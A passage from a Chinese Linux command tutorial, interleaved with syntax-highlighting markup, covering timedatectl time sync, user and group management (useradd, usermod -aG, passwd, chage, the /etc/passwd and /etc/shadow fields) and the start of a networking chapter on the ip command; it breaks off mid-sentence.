状态：排「日志时间对不上」先看这里\ntimedatectl set-timezone Asia\u002FShanghai     # 设时区；改完服务不一定立刻感知，Java 应用还要 -Duser.timezone\ntimedatectl set-ntp true                   # 开启 systemd-timesyncd 同步；NTPSynchronized=yes 才算同步上\ntimedatectl show-timesync --all            # 看用的哪台 NTP 服务器；内网要配 \u002Fetc\u002Fsystemd\u002Ftimesyncd.conf 的 Server=\ntimedatectl set-time \"2026-10-04 09:30:00\" # 手动设时间：必须先关 NTP！时间回拨会让证书校验、\n                                           # cron、数据库主从全部乱套\nchronyc sources                            # 用 chrony 时的对时源（RHEL 系默认 chrony，\nntpq -p                                    # timedatectl 显示 inactive 不代表没同步）\nhwclock -r                                 # 读硬件时钟——双系统时间错乱（UTC vs 本地）就在这里\n",[22,86622,86623,86631,86644,86656,86668,86681,86686,86697,86707],{"__ignoreMap":314},[331,86624,86625,86628],{"class":333,"line":334},[331,86626,86627],{"class":501},"timedatectl",[331,86629,86630],{"class":1003},"                                # 一站式看时间、时区、NTP 状态：排「日志时间对不上」先看这里\n",[331,86632,86633,86635,86638,86641],{"class":333,"line":341},[331,86634,86627],{"class":501},[331,86636,86637],{"class":365}," set-timezone",[331,86639,86640],{"class":365}," Asia\u002FShanghai",[331,86642,86643],{"class":1003},"     # 设时区；改完服务不一定立刻感知，Java 应用还要 -Duser.timezone\n",[331,86645,86646,86648,86651,86653],{"class":333,"line":357},[331,86647,86627],{"class":501},[331,86649,86650],{"class":365}," set-ntp",[331,86652,13639],{"class":344},[331,86654,86655],{"class":1003},"                   # 开启 systemd-timesyncd 同步；NTPSynchronized=yes 才算同步上\n",[331,86657,86658,86660,86663,86665],{"class":333,"line":371},[331,86659,86627],{"class":501},[331,86661,86662],{"class":365}," show-timesync",[331,86664,85704],{"class":344},[331,86666,86667],{"class":1003},"            # 看用的哪台 NTP 服务器；内网要配 \u002Fetc\u002Fsystemd\u002Ftimesyncd.conf 的 Server=\n",[331,86669,86670,86672,86675,86678],{"class":333,"line":384},[331,86671,86627],{"class":501},[331,86673,86674],{"class":365}," set-time",[331,86676,86677],{"class":365}," \"2026-10-04 09:30:00\"",[331,86679,86680],{"class":1003}," # 手动设时间：必须先关 NTP！时间回拨会让证书校验、\n",[331,86682,86683],{"class":333,"line":397},[331,86684,86685],{"class":1003},"                                           # cron、数据库主从全部乱套\n",[331,86687,86688,86691,86694],{"class":333,"line":418},[331,86689,86690],{"class":501},"chronyc",[331,86692,86693],{"class":365}," sources",[331,86695,86696],{"class":1003},"                            # 用 chrony 时的对时源（RHEL 系默认 chrony，\n",[331,86698,86699,86702,86704],{"class":333,"line":427},[331,86700,86701],{"class":501},"ntpq",[331,86703,36941],{"class":344},[331,86705,86706],{"class":1003},"                                    # timedatectl 显示 inactive 不代表没同步）\n",[331,86708,86709,86712,86714],{"class":333,"line":439},[331,86710,86711],{"class":501},"hwclock",[331,86713,81798],{"class":344},[331,86715,86716],{"class":1003},"                                 # 读硬件时钟——双系统时间错乱（UTC vs 本地）就在这里\n",[11,86718,86719,86720,86722,86723,86726,86727,161],{},"容器里的时间问题：容器共享宿主内核时钟，改容器时区只影响 ",[22,86721,47787],{}," 环境变量（",[22,86724,86725],{},"TZ=Asia\u002FShanghai","），不要试图在容器里 ",[22,86728,86729],{},"set-time",[53,86731,75156],{"id":86732},"踩坑提醒-10",[1773,86734,86735,86751,86764,86774],{},[1662,86736,86737,86738,86740,86741,86744,86745,4839,86748,86750],{},"「改了 unit 没生效」= 忘了 ",[22,86739,86102],{},"；「改了 drop-in 还在用旧值」= ",[22,86742,86743],{},"systemctl cat"," 看合并后的真实结果，systemd 的覆盖语义是",[17,86746,86747],{},"空赋值",[22,86749,85991],{}," 空值 = 清空）。",[1662,86752,86753,86756,86757,86760,86761,161],{},[22,86754,86755],{},"enable"," ≠ 启动、",[22,86758,86759],{},"disable"," ≠ 停止。部署脚本里统一 ",[22,86762,86763],{},"systemctl enable --now app",[1662,86765,86766,86767,86770,86771,161],{},"crontab 里 ",[22,86768,86769],{},"@reboot"," 执行时网络可能还没就绪，依赖外部服务要重试或用 systemd 的 ",[22,86772,86773],{},"After=network-online.target",[1662,86775,86776,86777,86779,86780,272,86782,86784],{},"日志时间戳乱掉的第二原因：应用自己设了 UTC 而系统是本时区（nginx access log 用本地、",[22,86778,85451],{}," 用本地但导出的 JSON 是 UTC）。核对一遍 ",[22,86781,39549],{},[22,86783,86627],{},"、应用配置三处。",[48,86786,86788],{"id":86787},"十二用户与组iduseraddusermodpasswd","十二、用户与组：id、useradd、usermod、passwd",[11,86790,86791,86792,272,86795,86798],{},"权限问题的一半其实是身份问题：服务用的是哪个用户、这个用户在不在组里、改了组为什么没生效。这一章把用户\u002F组的查询与增删命令，以及 ",[22,86793,86794],{},"\u002Fetc\u002Fpasswd",[22,86796,86797],{},"\u002Fetc\u002Fshadow"," 的字段逐个讲清。",[53,86800,86802],{"id":86801},"_1-idwhow-先看清现状","1. id、who、w —— 先看清现状",[308,86804,86806],{"className":3902,"code":86805,"language":3904,"meta":314,"style":314},"id                    # 当前用户的 uid\u002Fgid 与全部附属组：uid=1000(deploy) gid=1000(deploy) groups=1000(deploy),27(sudo)\nid deploy             # 查别人（按名或按号 id 1001）——排查服务用户最常用的第一步\nwhoami                # 只有用户名；注意 sudo whoami 会显示 root——判断当前是不是特权态\nw                     # 谁在线 + 在跑什么（含 LOGIN@ JCPU TTY FROM IDLE WHAT），比 who 信息多\nwho                   # 谁登录了：deploy  pts\u002F0  2026-10-04 08:55 (10.0.0.12)\nlast deploy           # 历史登录（读 \u002Fvar\u002Flog\u002Fwtmp），只看某人；lastb 看失败尝试（要 root）\ngetent passwd         # 查所有账户（含 LDAP\u002FSSSD\u002FNIS）——脚本里用这个而不是读文件\ngetent group sudo     # 看某个组的成员：判断「他到底在不在组里」\ngroups deploy         # 只列组名，比 id 好读\nusers                 # 一行列出在线用户名\n",[22,86807,86808,86815,86824,86832,86839,86847,86857,86868,86880,86890],{"__ignoreMap":314},[331,86809,86810,86812],{"class":333,"line":334},[331,86811,8521],{"class":501},[331,86813,86814],{"class":1003},"                    # 当前用户的 uid\u002Fgid 与全部附属组：uid=1000(deploy) gid=1000(deploy) groups=1000(deploy),27(sudo)\n",[331,86816,86817,86819,86821],{"class":333,"line":341},[331,86818,8521],{"class":501},[331,86820,59612],{"class":365},[331,86822,86823],{"class":1003},"             # 查别人（按名或按号 id 1001）——排查服务用户最常用的第一步\n",[331,86825,86826,86829],{"class":333,"line":357},[331,86827,86828],{"class":501},"whoami",[331,86830,86831],{"class":1003},"                # 只有用户名；注意 sudo whoami 会显示 root——判断当前是不是特权态\n",[331,86833,86834,86836],{"class":333,"line":371},[331,86835,78157],{"class":501},[331,86837,86838],{"class":1003},"                     # 谁在线 + 在跑什么（含 LOGIN@ JCPU TTY FROM IDLE WHAT），比 who 信息多\n",[331,86840,86841,86844],{"class":333,"line":384},[331,86842,86843],{"class":501},"who",[331,86845,86846],{"class":1003},"                   # 谁登录了：deploy  pts\u002F0  2026-10-04 08:55 (10.0.0.12)\n",[331,86848,86849,86852,86854],{"class":333,"line":397},[331,86850,86851],{"class":501},"last",[331,86853,59612],{"class":365},[331,86855,86856],{"class":1003},"           # 历史登录（读 \u002Fvar\u002Flog\u002Fwtmp），只看某人；lastb 看失败尝试（要 root）\n",[331,86858,86859,86862,86865],{"class":333,"line":418},[331,86860,86861],{"class":501},"getent",[331,86863,86864],{"class":365}," passwd",[331,86866,86867],{"class":1003},"         # 查所有账户（含 LDAP\u002FSSSD\u002FNIS）——脚本里用这个而不是读文件\n",[331,86869,86870,86872,86875,86877],{"class":333,"line":427},[331,86871,86861],{"class":501},[331,86873,86874],{"class":365}," group",[331,86876,53150],{"class":365},[331,86878,86879],{"class":1003},"     # 看某个组的成员：判断「他到底在不在组里」\n",[331,86881,86882,86885,86887],{"class":333,"line":439},[331,86883,86884],{"class":501},"groups",[331,86886,59612],{"class":365},[331,86888,86889],{"class":1003},"         # 只列组名，比 id 好读\n",[331,86891,86892,86894],{"class":333,"line":450},[331,86893,26736],{"class":501},[331,86895,86896],{"class":1003},"                 # 一行列出在线用户名\n",[53,86898,86900],{"id":86899},"_2-useradd-与-adduser-增删改用户","2. useradd 与 adduser —— 增删改用户",[11,86902,86903,86904,161],{},"先说清一件事：",[17,86905,86906,5160,86909,86912],{},[22,86907,86908],{},"useradd",[22,86910,86911],{},"adduser"," 不是一回事",[57,86914,86915,86929],{},[60,86916,86917],{},[63,86918,86919,86921,86924,86926],{},[66,86920,5040],{},[66,86922,86923],{},"性质",[66,86925,43744],{},[66,86927,86928],{},"用在哪",[79,86930,86931,86948],{},[63,86932,86933,86937,86940,86945],{},[84,86934,86935],{},[22,86936,86908],{},[84,86938,86939],{},"底层二进制（各发行版都有）",[84,86941,86942],{},[17,86943,86944],{},"默认不建家目录、不设密码、不交互式",[84,86946,86947],{},"脚本、Dockerfile",[63,86949,86950,86954,86957,86963],{},[84,86951,86952],{},[22,86953,86911],{},[84,86955,86956],{},"Perl 友好脚本（Debian\u002FUbuntu 独有）",[84,86958,86959,86960],{},"交互式问全名\u002F密码，自动建家目录、拷 ",[22,86961,86962],{},"\u002Fetc\u002Fskel",[84,86964,86965],{},"手工建号",[308,86967,86969],{"className":3902,"code":86968,"language":3904,"meta":314,"style":314},"sudo useradd -m -s \u002Fbin\u002Fbash -G deploy,app deploy2\n# -m 建家目录、-s 给登录 shell、-G 附属组——RHEL 系手工建号只能这么写\nsudo adduser deploy                 # Debian\u002FUbuntu 交互式建号\nsudo useradd -u 1500 -e 2026-12-31 -c \"CI runner\" ci\n# -u 指定 uid（容器\u002F集群对齐必备）、-g 主组、-d 家目录路径、-e 账户过期日、-c 备注字段\nsudo userdel -r deploy              # 删用户并删家目录；不加 -r 会留下 \u002Fhome\u002Fdeploy（可能含密钥）；\n                                    # 删前先 ps -u deploy 确认没进程\n",[22,86970,86971,86994,86999,87011,87035,87040,87054],{"__ignoreMap":314},[331,86972,86973,86975,86978,86980,86982,86985,86988,86991],{"class":333,"line":334},[331,86974,37063],{"class":501},[331,86976,86977],{"class":365}," useradd",[331,86979,79305],{"class":344},[331,86981,15978],{"class":344},[331,86983,86984],{"class":365}," \u002Fbin\u002Fbash",[331,86986,86987],{"class":344}," -G",[331,86989,86990],{"class":365}," deploy,app",[331,86992,86993],{"class":365}," deploy2\n",[331,86995,86996],{"class":333,"line":341},[331,86997,86998],{"class":1003},"# -m 建家目录、-s 给登录 shell、-G 附属组——RHEL 系手工建号只能这么写\n",[331,87000,87001,87003,87006,87008],{"class":333,"line":357},[331,87002,37063],{"class":501},[331,87004,87005],{"class":365}," adduser",[331,87007,59612],{"class":365},[331,87009,87010],{"class":1003},"                 # Debian\u002FUbuntu 交互式建号\n",[331,87012,87013,87015,87017,87019,87022,87024,87027,87029,87032],{"class":333,"line":371},[331,87014,37063],{"class":501},[331,87016,86977],{"class":365},[331,87018,37094],{"class":344},[331,87020,87021],{"class":344}," 1500",[331,87023,56478],{"class":344},[331,87025,87026],{"class":365}," 2026-12-31",[331,87028,15990],{"class":344},[331,87030,87031],{"class":365}," \"CI runner\"",[331,87033,87034],{"class":365}," ci\n",[331,87036,87037],{"class":333,"line":384},[331,87038,87039],{"class":1003},"# -u 指定 uid（容器\u002F集群对齐必备）、-g 主组、-d 家目录路径、-e 账户过期日、-c 备注字段\n",[331,87041,87042,87044,87047,87049,87051],{"class":333,"line":397},[331,87043,37063],{"class":501},[331,87045,87046],{"class":365}," userdel",[331,87048,81798],{"class":344},[331,87050,59612],{"class":365},[331,87052,87053],{"class":1003},"              # 删用户并删家目录；不加 -r 会留下 \u002Fhome\u002Fdeploy（可能含密钥）；\n",[331,87055,87056],{"class":333,"line":418},[331,87057,87058],{"class":1003},"                                    # 删前先 ps -u deploy 确认没进程\n",[53,87060,87062],{"id":87061},"_3-usermod-加组本章最贵的一课在这","3. usermod —— 加组（本章最贵的一课在这）",[308,87064,87066],{"className":3902,"code":87065,"language":3904,"meta":314,"style":314},"sudo usermod -aG docker deploy      # 加附属组：-a 是「追加」，必须写！\nsudo usermod -aG docker,app deploy  # 一次加多个组\nsudo usermod -L deploy              # 锁定账户（shadow 密码字段前加 !）；-U 解锁\nsudo usermod -l newname oldname     # 改名；家目录要另外 mv 并 chown\nsudo usermod -s \u002Fusr\u002Fsbin\u002Fnologin www   # 禁登录 shell——服务账户的标准做法\nsudo groupadd app                   # 建组；groupdel 删组\ngpasswd -a deploy app               # 老写法加组成员（等价 usermod -aG）；-d 移除\ngroupmems -g app -l                 # 列组成员；-a\u002F-d\u002F-p 加\u002F删\u002F清空\nnewgrp app                          # 当前会话临时切换有效组——不重新登录也能生效的补救，exit 退出\n",[22,87067,87068,87085,87101,87114,87131,87148,87160,87174,87189],{"__ignoreMap":314},[331,87069,87070,87072,87075,87078,87080,87082],{"class":333,"line":334},[331,87071,37063],{"class":501},[331,87073,87074],{"class":365}," usermod",[331,87076,87077],{"class":344}," -aG",[331,87079,49008],{"class":365},[331,87081,59612],{"class":365},[331,87083,87084],{"class":1003},"      # 加附属组：-a 是「追加」，必须写！\n",[331,87086,87087,87089,87091,87093,87096,87098],{"class":333,"line":341},[331,87088,37063],{"class":501},[331,87090,87074],{"class":365},[331,87092,87077],{"class":344},[331,87094,87095],{"class":365}," docker,app",[331,87097,59612],{"class":365},[331,87099,87100],{"class":1003},"  # 一次加多个组\n",[331,87102,87103,87105,87107,87109,87111],{"class":333,"line":357},[331,87104,37063],{"class":501},[331,87106,87074],{"class":365},[331,87108,75814],{"class":344},[331,87110,59612],{"class":365},[331,87112,87113],{"class":1003},"              # 锁定账户（shadow 密码字段前加 !）；-U 解锁\n",[331,87115,87116,87118,87120,87122,87125,87128],{"class":333,"line":371},[331,87117,37063],{"class":501},[331,87119,87074],{"class":365},[331,87121,43868],{"class":344},[331,87123,87124],{"class":365}," newname",[331,87126,87127],{"class":365}," oldname",[331,87129,87130],{"class":1003},"     # 改名；家目录要另外 mv 并 chown\n",[331,87132,87133,87135,87137,87139,87142,87145],{"class":333,"line":384},[331,87134,37063],{"class":501},[331,87136,87074],{"class":365},[331,87138,15978],{"class":344},[331,87140,87141],{"class":365}," \u002Fusr\u002Fsbin\u002Fnologin",[331,87143,87144],{"class":365}," www",[331,87146,87147],{"class":1003},"   # 禁登录 shell——服务账户的标准做法\n",[331,87149,87150,87152,87155,87157],{"class":333,"line":397},[331,87151,37063],{"class":501},[331,87153,87154],{"class":365}," groupadd",[331,87156,18152],{"class":365},[331,87158,87159],{"class":1003},"                   # 建组；groupdel 删组\n",[331,87161,87162,87165,87167,87169,87171],{"class":333,"line":418},[331,87163,87164],{"class":501},"gpasswd",[331,87166,57537],{"class":344},[331,87168,59612],{"class":365},[331,87170,18152],{"class":365},[331,87172,87173],{"class":1003},"               # 老写法加组成员（等价 usermod -aG）；-d 移除\n",[331,87175,87176,87179,87182,87184,87186],{"class":333,"line":427},[331,87177,87178],{"class":501},"groupmems",[331,87180,87181],{"class":344}," -g",[331,87183,18152],{"class":365},[331,87185,43868],{"class":344},[331,87187,87188],{"class":1003},"                 # 列组成员；-a\u002F-d\u002F-p 加\u002F删\u002F清空\n",[331,87190,87191,87193,87195],{"class":333,"line":439},[331,87192,46504],{"class":501},[331,87194,18152],{"class":365},[331,87196,87197],{"class":1003},"                          # 当前会话临时切换有效组——不重新登录也能生效的补救，exit 退出\n",[11,87199,87200,322,87209,87212,87213,87215,87216,87219,87220,87222,87223,161],{},[17,87201,87202,1677,87205,87208],{},[22,87203,87204],{},"usermod -aG",[22,87206,87207],{},"-a"," 为什么这么重要",[22,87210,87211],{},"usermod -G docker deploy","（少了 ",[22,87214,87207],{},"）会把 deploy 的",[17,87217,87218],{},"所有附属组替换成只有 docker","——原本在 ",[22,87221,37063],{}," 组里的用户当场失去 sudo 权限，若他正是唯一的管理员就只能靠 root 密码或单用户模式救。安全写法永远带上 ",[22,87224,87207],{},[11,87226,87227,87228,5652,87231,87233],{},"改完组后",[17,87229,87230],{},"该用户必须重新登录",[22,87232,46504],{},"）才生效，因为组成员身份在登录时被写进凭证，已有会话不会更新——这是「加了组还是 permission denied」的头号原因。",[53,87235,87237],{"id":87236},"_4-passwd-与-chage-管密码","4. passwd 与 chage —— 管密码",[308,87239,87241],{"className":3902,"code":87240,"language":3904,"meta":314,"style":314},"passwd deploy            # 改自己或指定用户密码（指定他人需 root）\npasswd -l deploy         # 锁定（密码前加 !）；passwd -u 解锁\npasswd -e deploy         # 让下次登录必须改密码\npasswd -d deploy         # 清空密码（配合 SSH 密钥场景，谨慎）\npasswd -S deploy         # 看状态：P 可用 \u002F L 锁定 \u002F NP 无密码 + 最近改密日期\nchage -l deploy          # 看过期详情；chage -M 90 -W 7 -I 14 设策略\n",[22,87242,87243,87252,87263,87274,87285,87296],{"__ignoreMap":314},[331,87244,87245,87247,87249],{"class":333,"line":334},[331,87246,79221],{"class":501},[331,87248,59612],{"class":365},[331,87250,87251],{"class":1003},"            # 改自己或指定用户密码（指定他人需 root）\n",[331,87253,87254,87256,87258,87260],{"class":333,"line":341},[331,87255,79221],{"class":501},[331,87257,43868],{"class":344},[331,87259,59612],{"class":365},[331,87261,87262],{"class":1003},"         # 锁定（密码前加 !）；passwd -u 解锁\n",[331,87264,87265,87267,87269,87271],{"class":333,"line":357},[331,87266,79221],{"class":501},[331,87268,56478],{"class":344},[331,87270,59612],{"class":365},[331,87272,87273],{"class":1003},"         # 让下次登录必须改密码\n",[331,87275,87276,87278,87280,87282],{"class":333,"line":371},[331,87277,79221],{"class":501},[331,87279,36867],{"class":344},[331,87281,59612],{"class":365},[331,87283,87284],{"class":1003},"         # 清空密码（配合 SSH 密钥场景，谨慎）\n",[331,87286,87287,87289,87291,87293],{"class":333,"line":384},[331,87288,79221],{"class":501},[331,87290,51312],{"class":344},[331,87292,59612],{"class":365},[331,87294,87295],{"class":1003},"         # 看状态：P 可用 \u002F L 锁定 \u002F NP 无密码 + 最近改密日期\n",[331,87297,87298,87301,87303,87305],{"class":333,"line":397},[331,87299,87300],{"class":501},"chage",[331,87302,43868],{"class":344},[331,87304,59612],{"class":365},[331,87306,87307],{"class":1003},"          # 看过期详情；chage -M 90 -W 7 -I 14 设策略\n",[53,87309,87311],{"id":87310},"_5-etcpasswd-与-etcshadow-的字段","5. \u002Fetc\u002Fpasswd 与 \u002Fetc\u002Fshadow 的字段",[11,87313,87314,4839,87316,87319,87320,87322],{},[22,87315,86794],{},[22,87317,87318],{},"getent passwd deploy"," 的原始内容，7 个字段用 ",[22,87321,1180],{}," 分隔）：",[308,87324,87326],{"className":75245,"code":87325,"language":75247,"meta":314,"style":314},"deploy:x:1000:1000:Deploy User:\u002Fhome\u002Fdeploy:\u002Fbin\u002Fbash\n",[22,87327,87328],{"__ignoreMap":314},[331,87329,87330],{"class":333,"line":334},[331,87331,87325],{},[57,87333,87334,87346],{},[60,87335,87336],{},[63,87337,87338,87340,87342,87344],{},[66,87339,75283],{},[66,87341,62845],{},[66,87343,49671],{},[66,87345,19257],{},[79,87347,87348,87365,87382,87403,87419,87438,87454],{},[63,87349,87350,87352,87356,87359],{},[84,87351,7993],{},[84,87353,87354],{},[22,87355,54965],{},[84,87357,87358],{},"用户名",[84,87360,87361,87362,87364],{},"登录与 ",[22,87363,47951],{}," 用",[63,87366,87367,87369,87373,87376],{},[84,87368,9292],{},[84,87370,87371],{},[22,87372,21547],{},[84,87374,87375],{},"密码占位符",[84,87377,87378,87379],{},"真正的哈希在 shadow；这里是空表示",[17,87380,87381],{},"无密码",[63,87383,87384,87386,87390,87393],{},[84,87385,351],{},[84,87387,87388],{},[22,87389,64797],{},[84,87391,87392],{},"UID",[84,87394,87395,87396,18878,87399,87402],{},"0=root，系统账户 ",[22,87397,87398],{},"\u003C 1000",[22,87400,87401],{},"65534","=nobody",[63,87404,87405,87407,87411,87414],{},[84,87406,15097],{},[84,87408,87409],{},[22,87410,64797],{},[84,87412,87413],{},"GID（主组号）",[84,87415,87416,87417],{},"指向 ",[22,87418,46512],{},[63,87420,87421,87423,87428,87431],{},[84,87422,6508],{},[84,87424,87425],{},[22,87426,87427],{},"Deploy User",[84,87429,87430],{},"GECOS 备注",[84,87432,87433,87434,87437],{},"全名\u002F电话，",[22,87435,87436],{},"finger"," 读这里",[63,87439,87440,87442,87446,87449],{},[84,87441,28747],{},[84,87443,87444],{},[22,87445,74583],{},[84,87447,87448],{},"家目录",[84,87450,87451,87453],{},[22,87452,5404],{}," 的来源；不存在则登录报错",[63,87455,87456,87458,87463,87466],{},[84,87457,28762],{},[84,87459,87460],{},[22,87461,87462],{},"\u002Fbin\u002Fbash",[84,87464,87465],{},"登录 shell",[84,87467,87468,272,87471,87474],{},[22,87469,87470],{},"\u002Fusr\u002Fsbin\u002Fnologin",[22,87472,87473],{},"\u002Fbin\u002Ffalse"," = 禁交互登录",[11,87476,87477,87479,87480,7023],{},[22,87478,86797],{},"（8 个字段，只有 root 与 shadow 组可读，权限 ",[22,87481,78811],{},[308,87483,87485],{"className":75245,"code":87484,"language":75247,"meta":314,"style":314},"deploy:$y$j9T$abc…:20550:0:90:7:14::\n",[22,87486,87487],{"__ignoreMap":314},[331,87488,87489],{"class":333,"line":334},[331,87490,87484],{},[57,87492,87493,87503],{},[60,87494,87495],{},[63,87496,87497,87499,87501],{},[66,87498,75283],{},[66,87500,62845],{},[66,87502,49671],{},[79,87504,87505,87515,87544,87563,87574,87590,87601,87612],{},[63,87506,87507,87509,87513],{},[84,87508,7993],{},[84,87510,87511],{},[22,87512,54965],{},[84,87514,87358],{},[63,87516,87517,87519,87524],{},[84,87518,9292],{},[84,87520,87521],{},[22,87522,87523],{},"$y$j9T$…",[84,87525,87526,87527,87530,87531,87534,87535,87538,87539,6745,87541,87543],{},"密码哈希；前缀 ",[22,87528,87529],{},"$y$","=yescrypt、",[22,87532,87533],{},"$6$","=SHA-512、",[22,87536,87537],{},"$2b$","=bcrypt；",[22,87540,1150],{},[22,87542,18020],{}," 开头 = 锁定；空 = 无密码可登录",[63,87545,87546,87548,87553],{},[84,87547,351],{},[84,87549,87550],{},[22,87551,87552],{},"20550",[84,87554,87555,87556,4839,87559,87562],{},"最后一次改密距 1970-01-01 的",[17,87557,87558],{},"天数",[22,87560,87561],{},"date -d \"1970-01-01 +20550 days\""," 换算）",[63,87564,87565,87567,87571],{},[84,87566,15097],{},[84,87568,87569],{},[22,87570,628],{},[84,87572,87573],{},"改密后至少隔多少天才允许再改（防来回改历史密码）",[63,87575,87576,87578,87583],{},[84,87577,6508],{},[84,87579,87580],{},[22,87581,87582],{},"90",[84,87584,87585,87586,87589],{},"密码有效期天数（",[22,87587,87588],{},"99999"," = 永不过期）",[63,87591,87592,87594,87598],{},[84,87593,28747],{},[84,87595,87596],{},[22,87597,28762],{},[84,87599,87600],{},"过期前多少天开始警告",[63,87602,87603,87605,87609],{},[84,87604,28762],{},[84,87606,87607],{},[22,87608,650],{},[84,87610,87611],{},"过期后多少天宽限期，之后账户锁定",[63,87613,87614,87616,87618],{},[84,87615,39054],{},[84,87617,5122],{},[84,87619,87620],{},"账户本身失效的天数（与密码无关）",[11,87622,87623,87625,87626,87628,87629,87635,87636,87639,87640,87643],{},[22,87624,46512],{}," 的 4 个字段：组名、",[22,87627,21547],{}," 占位（组密码基本不用）、GID、成员列表（逗号分隔）。注意：",[17,87630,87631,87632,87634],{},"这里列出的成员只是「附加组」，用户在 ",[22,87633,86794],{}," 里的 GID 主组不会出现在这里","，所以「",[22,87637,87638],{},"getent group deploy"," 里没有他」不代表他不属于 deploy 组。",[22,87641,87642],{},"\u002Fetc\u002Fgshadow"," 存组管理员与组密码，字段与 shadow 类似。",[11,87645,87646,87647,87650,87651,87654,87655,87658,87659,87662],{},"相关命令：",[22,87648,87649],{},"getent passwd 1000","（按 uid 反查）、",[22,87652,87653],{},"lastlog","（每人最后登录，读 ",[22,87656,87657],{},"\u002Fvar\u002Flog\u002Flastlog"," 稀疏文件）、",[22,87660,87661],{},"faillock --user deploy","（pam_faillock 的失败计数，RHEL 系）。",[53,87664,75156],{"id":87665},"踩坑提醒-11",[1773,87667,87668,87687,87706,87725],{},[1662,87669,87670,87671,18878,87673,87675,87676,87679,87680,87683,87684,161],{},"新建用户忘了 ",[22,87672,49561],{},[22,87674,5404],{}," 不存在导致后续所有「写家目录」的脚本失败：",[22,87677,87678],{},"useradd -m"," 或在 ",[22,87681,87682],{},"\u002Fetc\u002Fdefault\u002Fuseradd"," 里设 ",[22,87685,87686],{},"CREATE_HOME=yes",[1662,87688,87689,87690,272,87692,87695,87696,18878,87698,87701,87702,87705],{},"服务账户（",[22,87691,15379],{},[22,87693,87694],{},"redis","）默认 shell 是 ",[22,87697,87470],{},[22,87699,87700],{},"su - nginx"," 必然失败；正确姿势 ",[22,87703,87704],{},"sudo -u nginx \u002Fbin\u002Fbash -l","（root 可以覆盖 shell）。",[1662,87707,87708,87709,87711,87712,87714,87715,87717,87718,1901,87721,87724],{},"直接编辑 ",[22,87710,86794],{}," 用普通 ",[22,87713,77384],{}," 有并发风险（同时 ",[22,87716,86908],{}," 会覆盖），要改就 ",[22,87719,87720],{},"vipw",[22,87722,87723],{},"vigr","（带锁与语法检查）。",[1662,87726,87727,87728,161],{},"UID 不一致是集群环境的隐形故障源：NFS 共享目录 + 各节点 UID 不同 → 权限完全乱。跨节点统一 ",[22,87729,87730],{},"useradd -u 1500",[48,87732,87734],{"id":87733},"十三网络ipssdigcurlssh","十三、网络：ip、ss、dig、curl、ssh",[11,87736,87737,87738,272,87741,272,87744,272,87747,87749],{},"网络排障的顺序基本固定：本机有没有 IP → 路由到不到 → DNS 解析对不对 → 端口有没有监听 → 防火墙让不让过 → 应用返回什么。",[22,87739,87740],{},"ip",[22,87742,87743],{},"ss",[22,87745,87746],{},"dig",[22,87748,15975],{}," 各管一段，本章按这个顺序给命令。",[4748,87751],{"height":4750,"src":87752,"title":87753},"\u002Ftutorials\u002Flinux\u002Fdemos\u002F13-network.html","示例 13：ip\u002Fss\u002Fcurl 三连与端口连通性测试",[53,87755,87757],{"id":87756},"_1-ip-取代-ifconfig-与-netstat","1. ip —— 取代 ifconfig 与 netstat",[11,87759,87760,4839,87763,272,87766,272,87769,87771,87772,4839,87775,272,87777,87779,87780,87782],{},[22,87761,87762],{},"net-tools",[22,87764,87765],{},"ifconfig",[22,87767,87768],{},"netstat",[22,87770,6537],{},"）在新发行版里默认不装了，",[22,87773,87774],{},"iproute2",[22,87776,87740],{},[22,87778,87743],{},"）才是当前的标准，且能显示 ",[22,87781,87765],{}," 拿不到的信息（每个地址的前缀长度、路由表来源、队列规则、命名空间）。",[308,87784,87786],{"className":3902,"code":87785,"language":3904,"meta":314,"style":314},"ip a                        # 看所有接口与地址（addr 的缩写）\nip -br a                    # 一行一接口，最清爽\nip -4 addr show eth0        # 只看 IPv4、指定网卡\nip r                        # 看路由表（route 的缩写）\nip route get 8.8.8.8        # 问「去往这个地址走哪条路、用哪个网卡」——排障神器\nip l                        # 看链路状态；ip link set dev eth0 down 改状态（要 root）\nip neigh                    # ARP 表（= arp -a），排查同网段不通\nip -s link                  # 接口统计：RX errors 非 0 说明网卡\u002F驱动问题\nip route add default via 10.0.0.1    # 加默认网关——重启失效！永久配置要写 netplan\u002FNetworkManager\nip netns                    # 网络命名空间列表；ip netns exec foo ss -tulpn\n",[22,87787,87788,87797,87809,87827,87837,87852,87861,87871,87882,87901],{"__ignoreMap":314},[331,87789,87790,87792,87794],{"class":333,"line":334},[331,87791,87740],{"class":501},[331,87793,60744],{"class":365},[331,87795,87796],{"class":1003},"                        # 看所有接口与地址（addr 的缩写）\n",[331,87798,87799,87801,87804,87806],{"class":333,"line":341},[331,87800,87740],{"class":501},[331,87802,87803],{"class":344}," -br",[331,87805,60744],{"class":365},[331,87807,87808],{"class":1003},"                    # 一行一接口，最清爽\n",[331,87810,87811,87813,87816,87819,87821,87824],{"class":333,"line":357},[331,87812,87740],{"class":501},[331,87814,87815],{"class":344}," -4",[331,87817,87818],{"class":365}," addr",[331,87820,85684],{"class":365},[331,87822,87823],{"class":365}," eth0",[331,87825,87826],{"class":1003},"        # 只看 IPv4、指定网卡\n",[331,87828,87829,87831,87834],{"class":333,"line":371},[331,87830,87740],{"class":501},[331,87832,87833],{"class":365}," r",[331,87835,87836],{"class":1003},"                        # 看路由表（route 的缩写）\n",[331,87838,87839,87841,87843,87846,87849],{"class":333,"line":384},[331,87840,87740],{"class":501},[331,87842,6339],{"class":365},[331,87844,87845],{"class":365}," get",[331,87847,87848],{"class":344}," 8.8.8.8",[331,87850,87851],{"class":1003},"        # 问「去往这个地址走哪条路、用哪个网卡」——排障神器\n",[331,87853,87854,87856,87858],{"class":333,"line":397},[331,87855,87740],{"class":501},[331,87857,79850],{"class":365},[331,87859,87860],{"class":1003},"                        # 看链路状态；ip link set dev eth0 down 改状态（要 root）\n",[331,87862,87863,87865,87868],{"class":333,"line":418},[331,87864,87740],{"class":501},[331,87866,87867],{"class":365}," neigh",[331,87869,87870],{"class":1003},"                    # ARP 表（= arp -a），排查同网段不通\n",[331,87872,87873,87875,87877,87879],{"class":333,"line":427},[331,87874,87740],{"class":501},[331,87876,15978],{"class":344},[331,87878,78617],{"class":365},[331,87880,87881],{"class":1003},"                  # 接口统计：RX errors 非 0 说明网卡\u002F驱动问题\n",[331,87883,87884,87886,87888,87890,87892,87895,87898],{"class":333,"line":439},[331,87885,87740],{"class":501},[331,87887,6339],{"class":365},[331,87889,28251],{"class":365},[331,87891,5222],{"class":365},[331,87893,87894],{"class":365}," via",[331,87896,87897],{"class":344}," 10.0.0.1",[331,87899,87900],{"class":1003},"    # 加默认网关——重启失效！永久配置要写 